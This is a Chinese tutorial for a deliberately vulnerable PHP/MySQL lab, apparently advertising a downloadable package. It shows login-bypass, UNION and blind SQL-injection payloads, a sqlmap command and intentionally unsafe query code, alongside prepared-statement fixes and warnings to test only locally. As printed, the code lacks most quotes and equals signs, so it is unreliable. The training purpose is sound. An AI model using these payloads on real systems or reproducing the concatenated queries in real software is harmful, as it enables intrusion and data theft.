MySQL 后台注入靶场源码:登录绕过、联合查询与数字型盲注实战
简介这是一套面向 Web 安全初学者与渗透测试练习者的漏洞网站源码围绕后台注入场景提供可本地或空间部署的测试环境适合用来理解注入成因、验证防御思路并开展靶场演练。压缩包共 844 个文件约 4.95MB以 291 个 PHP 页面为核心配套 106 个 HTML 页面、67 个 JavaScript 文件、16 个 CSS 样式表及大量 GIF、PNG、JPEG 图片资源另含 SQL 建库脚本、XML 配置、SWF 素材与字体文件前后台结构相对完整便于按模块阅读与调试。目前已有 829 人学习或下载说明其在入门靶场与课程实验中有一定参考价值。读者可从中获得一套可直接搭建的漏洞站点样例结合后台入口、数据库脚本与页面资源观察注入点分布并据此设计测试用例、记录复现过程形成从环境准备到漏洞验证的完整练习闭环。1. 从一条拼歪的登录 SQL 说起这套 mysql 后台注入靶场源码是拿来练手的 or 11 #打进后台登录框页面直接跳进管理面板——在线上系统里这是事故在本地环境里这就是最便宜的教材。这份 mysql 后台注入靶场源码是一套刻意留洞的 PHP MySQL 小站点带后台登录、商品搜索、商品详情三个入口分别对应字符型注入、联合查询注入和数字型盲注三条典型路线。它适合刚学完 SQL 基础、想找个地方把 payload 真正打出去的人也适合给新人做安全编码培训时当反面样本代码短、链路清楚出问题的地方一眼能看见。整套东西文件不多本地起一个 PHP 环境加一个 MySQL 实例就能跑不依赖任何框架。2. 源码结构与技术栈一个请求从 index.php 走到 mysqli_query 的完整链路2.1 目录骨架几个 PHP 文件撑起整个攻击面解压之后先别急着改配置把目录过一遍心里有个请求流向的图。这类靶场为了让人看得懂通常不会做分层控制器、SQL、HTML 全糊在一个文件里这恰恰是它好读的原因。injection-lab/ ├── config.php # 站点级配置数据库账号、debug 开关、关卡开关 ├── conn.php # 连接层被所有业务页 require ├── index.php # 首页商品列表 搜索框入口 ├── login.php # 后台登录字符型注入主战场 ├── search.php # 商品搜索LIKE 模糊匹配联合查询入口 ├── product.php # 商品详情数字型 id 参数盲注入口 ├── admin/ │ ├── index.php # 登录成功后的后台面板 │ └── logout.php # 清 session 跳回登录页 ├── static/ │ ├── css/bootstrap.min.css │ └── js/jquery.min.js └── sql/ └── init.sql # 建库建表 初始数据必须手动导入文件职责是否有注入点conn.php建立 mysqli 连接、设置字符集无但决定后面所有查询能否跑通login.php接收 POST 的 username/password拼 SQL 查 users 表有字符型search.php接收 GET 的 kw拼进 LIKE 语句有字符型 联合查询product.php接收 GET 的 id直接拼到WHERE id 后面有数字型admin/index.php校验 session 后展示管理数据一般无靠登录绕过进入看这张表就明白设计意图了三个入口分别对应三种注入类型登录框练的是「闭合引号 注释掉后半段」搜索框练的是「猜字段数 找回显位」详情页练的是「没有回显时怎么用布尔和时间把数据一位一位抠出来」。这种一课一练的排布比那种把所有洞堆在一个参数上的靶场要好用得多。2.2 技术栈为什么故意不用框架这套代码是裸 PHP 过程式写法没有 Composer、没有路由、没有模板引擎前端就是 Bootstrap 加 jQuery 直接引静态文件。原因很直接一旦上了 ORM 或者 PDO 预处理参数化查询会自动把注入点堵死靶场就没得练了。常见的组合是 PHP 7.x MySQL 5.7 Apache 或 Nginx跑在 Windows 上用集成环境最省事Linux 上直接用系统包也行。这里有个必须提前确认的点连接层用的是mysqli_*还是更老的mysql_*。前者 PHP 7 及以上都能跑后者在 PHP 7.0 就被移除了打开页面会直接 Fatal error。判断方法很简单打开conn.php搜一下函数名就知道了。?php // conn.php —— 连接层所有业务页都会 require 这个文件 $DB_HOST 127.0.0.1; $DB_PORT 3306; $DB_USER root; $DB_PASS root; $DB_NAME inj_lab; // 面向过程写法和业务页里的 mysqli_query 保持同一套 API $link mysqli_connect($DB_HOST, $DB_USER, $DB_PASS, $DB_NAME, $DB_PORT); if (!$link) { // 靶场环境可以把错误直接吐出来方便定位 die(数据库连接失败: . mysqli_connect_error()); } // 字符集必须和建表时一致否则中文关键词搜索会乱码 mysqli_set_charset($link, utf8mb4);这段代码本身没有洞但它决定了后面所有注入能不能成立。参数逐个说一下$DB_HOST和$DB_PORT指向本地实例如果你用的是集成环境自带的 MySQL端口八成是 3306$DB_USER和$DB_PASS必须和实际账号对上很多人卡在「页面白屏」就是这里还留着默认的 root/root$DB_NAME要和init.sql里建的库名一致改库名就得两边一起改。mysqli_set_charset这行容易被忽略但它影响的是LIKE %中文%这类查询的匹配结果字符集对不上时搜索永远是空结果会让人误以为是注入打不通。还有一点值得注意mysqli_query单次只执行一条语句不支持用分号堆叠多条 SQL。所以在这套靶场里试; drop table users是打不动的这不是你姿势错了是 API 本身的限制。想练堆叠注入得换mysqli_multi_query或者 PDO 的exec那是另一个话题。2.3 数据库设计三张表把「练什么」安排明白sql/init.sql是整个靶场的地基里面通常包含账号表、业务表和一两个藏着答案的表。导入之前先扫一眼表结构能省掉后面很多猜测。-- sql/init.sql —— 建库、建表、灌初始数据 CREATE DATABASE IF NOT EXISTS inj_lab DEFAULT CHARACTER SET utf8mb4; USE inj_lab; -- 后台账号表密码存 md5role1 表示管理员 CREATE TABLE users ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50) NOT NULL, password CHAR(32) NOT NULL, role TINYINT NOT NULL DEFAULT 0, created_at DATETIME DEFAULT CURRENT_TIMESTAMP ) ENGINEInnoDB DEFAULT CHARSETutf8mb4; INSERT INTO users (username, password, role) VALUES (admin, MD5(admin123), 1), (guest, MD5(guest123), 0); -- 商品表搜索页和详情页都查它 CREATE TABLE products ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, title VARCHAR(120) NOT NULL, price DECIMAL(10,2) NOT NULL, stock INT NOT NULL DEFAULT 0 ) ENGINEInnoDB DEFAULT CHARSETutf8mb4; INSERT INTO products (title, price, stock) VALUES (机械键盘, 399.00, 20), (显示器, 1299.00, 8), (鼠标垫, 29.90, 100);建表语句里两个细节值得留意。第一users.password定长 32 位说明存的是 MD5 原文而不是加盐哈希这意味着后面拿到数据可以直接去撞库验证练手时能直观看到「数据库里到底存了什么」。第二products只有三列这个列数是有讲究的——联合查询时你要先猜出字段数三列不多不少order by 3正常、order by 4报错新手第一次做字段探测就能得到明确反馈不会一上来就被复杂的宽表劝退。init.sql里通常还会有一张名字不那么起眼的表比如flags或者secrets用来放「拿到管理员权限后才该看到」的数据。这张表的存在意义是给练习设一个终点不是能登进后台就算完而是要能从数据库里把它查出来。3. 本地跑起来从建库、改配置到访问第一个注入点3.1 环境准备把站点根目录放对位置集成环境是这类靶场最省事的跑法Windows 上装个带 Apache MySQL PHP 的面板Linux 上用系统自带的包也行。关键是两件事PHP 版本和站点根目录。如果conn.php里是mysqli_connectPHP 7.2 到 7.4 区间最稳如果看到的是mysql_connect那必须降到 PHP 5.6 或者手动改代码。这一步别硬扛版本不对就是一片 Fatal error 糊脸上跟代码写得对不对没关系。站点目录一般是集成环境的www或者htdocs。把解压出来的injection-lab整个文件夹塞进去访问路径就是http://127.0.0.1/injection-lab/。如果你嫌路径长把文件夹里的内容直接铺到根目录也行但要记得后面所有 URL 都少一级。# Linux 上手动起环境的典型步骤集成面板可跳过 sudo apt install -y apache2 mysql-server php php-mysql sudo systemctl start apache2 mysql # 把源码放进站点根目录并给出写权限有些靶场要写缓存文件 sudo cp -r injection-lab /var/www/html/ sudo chown -R www-data:www-data /var/www/html/injection-lab这几条命令的含义很直白装 Apache、装 MySQL、装 PHP 和它的 MySQL 扩展然后把目录拷过去改属主。php-mysql这个包千万别漏漏了的话mysqli_connect会报「Call to undefined function」页面上什么提示都没有只有一个白屏很容易被误判成代码坏了。提示靶场只在自己机器上跑不要往任何线上地址上打 payload。本地环境随便折腾出了事 rm -rf 重来就行这是靶场存在的全部意义。3.2 导入数据库与改配置两步都不能省建库这一步很多人喜欢用 phpMyAdmin 图形界面点其实命令行更快也更不容易出错。# 登录 MySQL 并执行初始化脚本 mysql -u root -p /var/www/html/injection-lab/sql/init.sql # 验证能看到 inj_lab 库和三张表就算成功 mysql -u root -p -e SHOW DATABASES LIKE inj_lab; USE inj_lab; SHOW TABLES;是输入重定向把文件内容喂给 mysql 客户端执行。执行完用SHOW TABLES回查一眼正常情况下会列出users、products以及那张藏答案的表。如果报「Access denied」说明账号密码不对如果报「Unknown database」说明脚本里的CREATE DATABASE没执行成功多半是权限不够。配置改完之后先访问首页。首页能正常列出商品说明 PHP 通了、MySQL 通了、字符集也没问题这条链路是完整的。如果首页就是白屏别急着怀疑注入先去看 Apache 的 error log九成是连接层或者扩展没装好。3.3 打通第一个注入点先确认能进再谈技巧进入login.php先老老实实用admin / admin123登录一次确认正常账号能进后台。这一步是基线基线不通后面所有绕过都无从谈起。然后试最经典的万能密码打在用户名框里用户名 or 11 # 密码随便填拼出来的 SQL 会长这样SELECT id, username, role FROM users WHERE username or 11 # AND password xxx LIMIT 1#把后面的密码判断整段注释掉了or 11让 WHERE 恒真于是第一条记录一般是 admin被返回session 写进去跳转后台。整个过程顺理成章第一次打出来的时候还是挺有成就感的。但这里有个高频翻车点得单独拎出来说很多人把 or 11 #打在密码框里然后死活进不去。原因是login.php对密码做了md5()处理——你输入的那串字符会先被哈希成一串十六进制再拼进 SQL引号和注释符早就面目全非了。所以在这套代码里注入点只在用户名参数上。判断注入点在哪看的不是哪个框看起来更「像」而是看代码里哪个变量被原样拼进了语句。登录绕过成功后后台面板通常只显示一个欢迎语和几个假数据。真正要练的是接着用搜索页和详情页把数据库里的内容掏出来那才是这套靶场的核心。4. 核心漏洞代码拆解登录绕过、联合查询与盲注三种形态4.1 登录绕过字符串拼接 注释符的组合拳登录页的漏洞代码短得离谱但正是这种短把「为什么会有注入」讲得最清楚。?php // login.php —— 后台登录处理逻辑节选 require __DIR__ . /conn.php; session_start(); $msg ; if ($_SERVER[REQUEST_METHOD] POST) { $u $_POST[username] ?? ; $p md5($_POST[password] ?? ); // 注意密码先哈希再拼 // 危险点用户输入直接进 SQL没有任何转义 $sql SELECT id, username, role FROM users WHERE username $u AND password $p LIMIT 1; $res mysqli_query($link, $sql); if ($res mysqli_num_rows($res) 0) { $row mysqli_fetch_assoc($res); $_SESSION[uid] $row[id]; $_SESSION[role] $row[role]; header(Location: admin/index.php); exit; } $msg 账号或密码错误; }逐行看。$u原样取自$_POST没有任何过滤这就给引号闭合留了口子。$p被md5()包了一层所以密码参数是「安全」的——不是代码写得对而是哈希函数的输出天然只含十六进制字符塞不进特殊符号。$sql用双引号拼接$u两侧是单引号所以 payload 必须先闭合单引号再加#把后面的 AND password ...注释掉。mysqli_num_rows 0是判定条件只要查到记录就放行没有校验role是否等于 1这也是个隐藏问题普通用户登进来也能进后台。改造方向很明显把拼接换成预处理$stmt mysqli_prepare($link, SELECT id, username, role FROM users WHERE username ? AND password ? LIMIT 1); mysqli_stmt_bind_param($stmt, ss, $u, $p); mysqli_stmt_execute($stmt);?是占位符bind_param的ss表示两个参数都是字符串。这样用户输入永远只被当成数据不会被解析成 SQL 语法注入点直接消失。这段改法建议自己动手替换一遍对比一下同样的 payload 打进去之后是什么效果——页面会老老实实提示「账号或密码错误」因为整串 or 11 #被当成一个用户名字面量去匹配了。4.2 联合查询先猜字段数再找回显位搜索页的洞在 LIKE 语句里配合 UNION 可以把别的表的数据直接回显到页面上。?php // search.php —— 商品搜索节选 require __DIR__ . /conn.php; $kw $_GET[kw] ?? ; $sql SELECT id, title, price FROM products WHERE title LIKE %$kw%; $res mysqli_query($link, $sql); if ($res) { while ($row mysqli_fetch_assoc($res)) { echo li . htmlspecialchars($row[title]) . - . $row[price] . /li; } }$kw被塞进%...%中间所以闭合方式是%不是单纯一个引号。这是 LIKE 注入和外头普通字符型注入的区别很多人第一次打会漏掉那个百分号。打之前先确认字段数短视频里常说的「order by 探字段」就是这个http://127.0.0.1/injection-lab/search.php?kw% order by 3 %23 http://127.0.0.1/injection-lab/search.php?kw% order by 4 %23第二条报「Unknown column 4 in order clause」说明查询只有 3 列。注意#在 URL 里必须写成%23直接写#会被浏览器当成锚点截断请求根本发不出去——这个细节坑过不少人。字段数确定后找回显位?kw% union select 1,2,3 %23 ?kw% union select 1,database(),user() %23页面上对应的位置会打印出库名和当前数据库用户。接下来就是常规套路先从information_schema.tables拿表名再拿列名最后直接查数据?kw% union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() %23group_concat把多行结果拼成一行避免只显示第一条。table_schemadatabase()限定在当前库不然会把整个实例的表都列出来看着乱。回显位不一定三个都显示。有些页面只 echo 了title字段那另外两列就白查了得把 payload 挪到能显示的那一列上。判断方法是先打1,2,3看一眼页面上出现了哪几个数字剩下的就不用管了。4.3 盲注分支没有回显时怎么把数据一位一位抠出来详情页是数字型注入id直接拼在等号后面页面只会告诉你「有这个商品」或者「没有」不吐任何数据。这就是盲注场景。?php // product.php —— 商品详情节选 require __DIR__ . /conn.php; $id $_GET[id] ?? 0; $sql SELECT id, title, price FROM products WHERE id $id; $res mysqli_query($link, $sql); if ($res mysqli_num_rows($res) 0) { echo 商品存在; } else { echo 商品不存在; }因为$id两侧没有引号所以不需要闭合直接接and或者or就行。布尔盲注的做法是构造一个真假可判的条件?product.php?id1 and substr(database(),1,1)i如果页面显示「商品存在」说明database()的第一个字符是i显示「商品不存在」就换一个字符继续试。这样一位一位爆破完整库名纯手工很折磨实际练习时用脚本或者 sqlmap 更现实。时间盲注用在页面连真假都分不出来的场景——比如错误和成功返回的 HTML 完全一样。这时候靠响应时间判断?product.php?id1 and if(substr(database(),1,1)i,sleep(3),0)条件成立就睡 3 秒不成立立刻返回。if(条件, 真值, 假值)是 MySQL 的内置函数sleep(3)的单位是秒。用 sqlmap 时可以一句话跑完# 只在自己搭的本地环境上验证 sqlmap -u http://127.0.0.1/injection-lab/product.php?id1 --batch --dbs--batch表示所有交互选项用默认值--dbs表示只枚举库名。跑之前先手工确认注入点存在别上来就让工具乱扫工具报「not injectable」的时候你连是姿势问题还是代码问题都分不清。5. 避坑与排查跑不起来、打不通的那几件事5.1 五类高频故障的现象、成因与处置现象一整站白屏Apache 日志里一行Call to undefined function mysqli_connect()。原因是没有安装 PHP 的 MySQL 扩展或者装错了版本比如装的是php7.4-mysql但实际跑的是 8.1。解决办法是先php -v确认版本再装对应版本的扩展装完重启 Apache 或 PHP-FPM。集成环境里在面板的「PHP 扩展」里勾上 mysqli 即可勾完必须重启才生效。现象二页面能开但首页商品列表是空的也没有报错。大概率是conn.php里的库名或账号密码和实际不一致mysqli_connect失败了但die()没触发有些版本会静默返回 false。排查办法是在conn.php末尾临时加一行var_dump($link);看看是不是bool(false)再对照mysqli_connect_error()的输出改配置。现象三中文关键词搜索永远搜不到东西。字符集问题。建库时用了utf8mb4连接层没调mysqli_set_charset或者调的是utf8两边对不上就会出现「数据明明在就是匹配不上」。统一成utf8mb4建库、建表、连接三处都要一致。现象四万能密码打进去还是提示密码错误。两个可能一是 payload 打在了密码框被md5()吃掉了二是#后面没加空格在某些 MySQL 版本里不被识别为注释。标准的注释是#或者--两个减号加一个空格后者更通用。改打在用户名框用 or 11 --再试一次。现象五sqlmap 跑半天报 not injectable但手工明明能打通。最常见的原因是 URL 里的#没编码成%23工具把它当成片段标识截断了其次是没带 cookie登录后的页面需要 session 才返回正常结果。加--cookiePHPSESSIDxxx再跑一遍或者用--data走 POST。5.2 数据与权限层面的两个隐形坑第一个坑是 MySQL 8 的默认认证插件。MySQL 8.0 之后默认用caching_sha2_password老版本的 PHP mysqli 扩展可能连不上报「The server requested authentication method unknown to the client」。解决办法要么把账号改成mysql_native_password要么升级 PHP 的 mysqlnd。这不是靶场代码的问题但在新机器上跑老靶场时几乎必踩。-- 把账号认证方式改回兼容模式仅本地靶场环境 ALTER USER rootlocalhost IDENTIFIED WITH mysql_native_password BY root; FLUSH PRIVILEGES;第二条命令是刷新权限表不改的话前面的修改不生效。这套操作只在本地练习环境做正式环境不要这么干。第二个坑是mysqli_query只执行单条语句这件事。想验证堆叠注入的人会试1; select sleep(3)然后发现毫无反应以为是 payload 写错了。实际上从 PHP 这一层就被拦住了跟 WAF 无关。想练堆叠得把mysqli_query换成mysqli_multi_query但那已经改动了靶场本身属于下一章的改造范围。注意每次改完conn.php或config.php都要重启一次 PHP 服务。集成环境里不重启的话OPcache 可能还缓存着旧文件改了跟没改一样会白白浪费半小时。6. 二次开发把靶场改成自己的教学关卡这套源码最值钱的地方不是漏洞本身而是它的结构足够简单简单到你可以把它当模板改造成自己需要的关卡集合。我一般会做三件事。第一件是把注入点配置化。新建一个levels.php把每个关卡的参数名、注入类型、过滤强度写成数组业务页统一从配置里读这样加一关只要改配置不用动逻辑?php // levels.php —— 关卡配置业务页按 level 参数加载 return [ 1 [file login.php, param username, type char, filter none], 2 [file search.php, param kw, type like, filter none], 3 [file product.php, param id, type int, filter intval], ];filter字段决定这一关用不用intval或者mysqli_real_escape_string同一份代码换个配置就是不同的难度非常适合做分级练习。第二件是加一个「修复对照」开关。在config.php里放一个SAFE_MODE常量业务页根据它决定走拼接还是走预处理练完注入之后把开关打开同样的 payload 再打一遍看着它失效比看十篇防御文章都有用。改造点改动量收益关卡配置化新增 1 个文件改 3 处 require加关卡不改核心逻辑SAFE_MODE 开关每页加一个 if 分支正反对照理解预处理的价值日志表新增 1 张表在查询前写一行复盘时能看到完整 payload第三件是给每次请求记一条日志把原始 payload、执行耗时、返回行数都存下来。盲注练习尤其需要这个靠肉眼看响应时间太累有日志表之后直接select * from logs order by cost desc就能看出哪条 payload 触发了 sleep。改的时候有个细节要注意别把admin/index.php的 session 校验一起改掉。很多人为了加关卡顺手重构了登录态结果后台进不去了排查半天发现是session_start()被挪到了require后面。这种低级错误我犯过一次从那以后每次动公共文件之前都先git init提交一版出问题直接git checkout .回滚比靠记忆改回来靠谱得多。希望帮到你。本文还有配套的精品资源点击获取